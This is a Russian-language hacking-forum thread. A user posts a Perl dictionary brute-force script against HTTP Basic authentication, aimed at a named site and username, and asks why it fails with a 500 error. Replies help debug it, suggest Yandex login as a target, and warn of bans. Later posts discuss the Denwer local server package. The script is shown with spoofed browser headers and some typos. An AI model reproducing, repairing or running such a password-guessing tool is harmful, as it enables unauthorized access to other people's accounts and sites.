Прочитал на одном сайте статью "Брутфорс на Perl" . Попытался запустить ее на своем сервере, но сервер выдает ошиьку №500 . Причем изменял я только адрес ломаемого сайта и адрес файла с паролями. Где ошибка ? #!/usr/bin/perl ## Autors: Mike: [email protected], Forb: [email protected] use MIME::Base64; use IO::Socket; use POSIX; ### Подрубаем модули POSIX, Socket и Base64 $server="www.bendertom.narod.ru"; ### Удаленный сервер $port="80"; ### Удаленный порт $dir=""; ### Запароленная директория $logfile="rez.txt"; ### Логфайл, куда пишем пароль $log="stat.txt"; ### Логфайл, куда пишем статус (что происходит в данную минуту) $words="dictionary.txt"; ### Словарь (файл с паролями) $user="volo-igor"; ### Имя пользователя open(file, "$words") or die print "$!\n"; @data=; $total=@data; close file; ### Записываем все пароли в один массив $i=0; foreach $pass (@data) { $i++; chomp($pass); open(file, ">$log") or die print "$!\n"; $perc=($i*100)/$total; $perc=ceil($perc); ### Высчитываем процент print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус close file; $auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш chomp($auth); $socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp) ### Порождаем сокет or die print "Unable to connect to $server:$port\n"; print $socket "GET $dir HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; print $socket "Referer: http://support.microsoft.com/\n"; print $socket "User-Agent: Internet Explorer 6.0\n"; print $socket "Pragma: no-cache\n"; print $socket "Cache-Control: no-cache\n"; print $socket "Authorization: Basic $auth\n"; print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш $ans=<$socket>; ### Получаем ответ от сервера if ($ans=~/200 Ok/i) { open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог print logf "$user:$pass is OK!!!\n"; close logf; exit 0; ### Выходим } }
ты вписал адресс сайта , а надо адрес сервера; для яндекса - passport.yandex.ru но на яндексе тебя забанят после нескольких попыток перебора ...
потому что yandex не использует поле Authorization: для идентификации .... я бы попровил, но perl не знаю вообще =( Брут был изначально на какой сервер настроен ?
Вот это интересно.... Это вообще брут не на мыло! Во превых Порт стоит 80, и указании папки. Это брут на папки!
Ошибка, говоришь? Что, так и пишет: "Чувааак, там ниибаццо какая internal server ошибка!!"? Хинт: что за ошибка - можно посмотреть в логах.
))))))))))))) Какая какая ошибка??? Монстер прав,нельзя этот скрипт запускать через www))) Вопще насколько я помню перл,могу сказать что если ты через www открываешь страницу,то скрипт должен отправлять хидер,иначе 500 ошибка.
Ща поглядим.. Давно с чем-то подобным сталкивался... Каждый в чем-то прав и каждый в чем-то неправ) Этот скрипт МОЖНО запустить через WWW, т.е. открыть именно как страницу (конечно она будет динамической)). Да, действительно, ошибка 500 выскакивает из-за ошибки в скрипте. qBiN совершенно правильно сказал про хидеры в контексте ошибки 500. Выводы от меня: После строчек PHP: #!/usr/bin/perl ## Autors: Mike: [email protected], Forb: [email protected] вставляешь PHP: print "Content-type: text/html\n\n"; print "It's WORK!!\n"; Если сам скрипт верен, то ошибка исчезнет. nerezus совершенно правильно и справедливо подметил по поводу error.log Просто запустив твой скрипт на localhost интерпретатор выдал: Code: Syntax error at \\home\\12700~1.1\\cgi\\index.pl line 16, near "=;"\n Execution of \\home\\12700~1.1\\cgi\\index.pl aborted due to compilation errors.\n Это строчка PHP: @data=""; Но тут уже сами гадайте... ) Если кто-то сомневается в справедливости вышесказанного - Денвер в зубы и смотрите сами) Все спасибо принимаю в форме повышения репутации.
Действительно, перл в стандартной поставке Денвера идет без библиотек, но я докачивал их и ставил отдельно. Всё работает.
Да не, nerezus, не прав ты =) не гемор обречены те, кто денвера не юзают с самого начала. Человек сначало идет в ддетский сад, затем школа, затем ВУЗ и прочее. Если ты млаенца из яслей отправишь в вуз - толку не будет. Так и тут, если ты только начал программить по веб на винде - только денвер. А когда его убирать - покажет время. Я о сих пор юзаю денвер и есть сотня причин на это. Например: 1. MySQL + PHP + Apache весят под 100 метров, если качать по отельности. Денвер весит 4 местра 2. Мне не интересно администрирование, мне не интересно писать батники, которые будут запускать все что нужно мне ля работы, я люблю программить и мне удобнее нажать одну кнопочку "Run", чтобы все было готово ля работы. 3. Денвер сам прописывает все новые домены в windows/system32/drivers/etc/hosts, мне уобно это, опять же я не отвлекаюсь на всякую бню. 4. Денвер помимо всего прчего содержит phpmyadmin и другие утилиты для более эффективной работы со всеми компонентами. 5. Все конфиги снабжены русскими комментариями 6. денвер легко переносить. Я просто пишу диру webservers на диск и запускаю мои проекты на любых машинах без всяких проблем И куча, куча всего остального. Но в то же время я сам прописываю конфиги апача, конфиги виртуальных серверов, конфиги php и MySQL, Денвер лишь инструмент, который очень сильно облегчает процесс поготовки машины к программированию.
Денвер это как Visua Studio. возьмем к пример C++ язык. Ты можешь скачать блокнот, даже с интерпритатором, скачать отддельно коспилятор и гемороиться с ними. А можешь поставить себе Visual Studio и проблем не знать со всякой бней, занимаясь только любимым делом.